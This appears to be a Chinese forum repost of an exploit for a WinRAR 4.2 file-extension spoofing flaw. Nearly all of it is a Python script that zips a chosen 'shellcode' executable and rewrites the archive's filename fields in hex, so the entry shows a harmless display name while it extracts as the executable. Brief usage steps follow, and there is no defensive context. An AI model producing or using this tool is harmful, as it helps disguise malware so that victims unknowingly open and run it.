WinRar 4.2文件后缀欺骗漏洞EXP

admin

1. import zipfile
   
2. import binascii
   
3. print " Code By Cond0r\n https://t00ls.net\n http://php.mu"
   
4. newname=raw_input("Shellcode File:")
   
5. realname=raw_input("Display Name:")
   
6. zipname=raw_input("Out Name:")
   
7. def copy(file,tofile):
   
8.     open(tofile, "wb").write(open(file, "rb").read())
   
9. def _zipfile(filename,shellcode):
   
10.     f = zipfile.ZipFile(filename, 'w' ,zipfile.ZIP_DEFLATED)
    
11.     f.write(shellcode)
    
12.     f.close()
    
13. if newname and realname and zipname:
    
14.     copy(newname,realname)
    
15.     newname_ext="."+newname.split(".")[-1]
    
16.     realname_ext="."+realname.split(".")[-1]
    
17.     if len(realname_ext)>len(newname_ext):
    
18.         newname_ext=" "*(len(realname_ext)-len(newname_ext))+newname_ext
    
19.     realname_hex=binascii.hexlify(realname)
    
20.     print "Display name:"+realname
    
21.     realname_to=binascii.hexlify(realname.replace(realname_ext,newname_ext))
    
22.     print "Real name:"+realname.replace(realname_ext,newname_ext)
    
23.     print "Hex:"+realname_to
    
24.     #print binascii.hexlify(realname)
    
25.     _zipfile(zipname,realname)
    
26.     data=binascii.hexlify(open(zipname).read()).split(binascii.hexlify(realname))
    
27.     data=data[0]+binascii.hexlify(realname.replace(realname_ext,newname_ext))+data[1]+realname_hex+data[2]
    
28.     #print "Out Data:"+ data
    
29.     open(zipname,'wb').write(binascii.unhexlify(data))
    
30.     print "OK"

复制代码

使用方法

首先输入 需要运行的程序的名称，然后再输入需要显示的名称，然后再输入输出的文件名即可

转自： http://php.mu/?post=12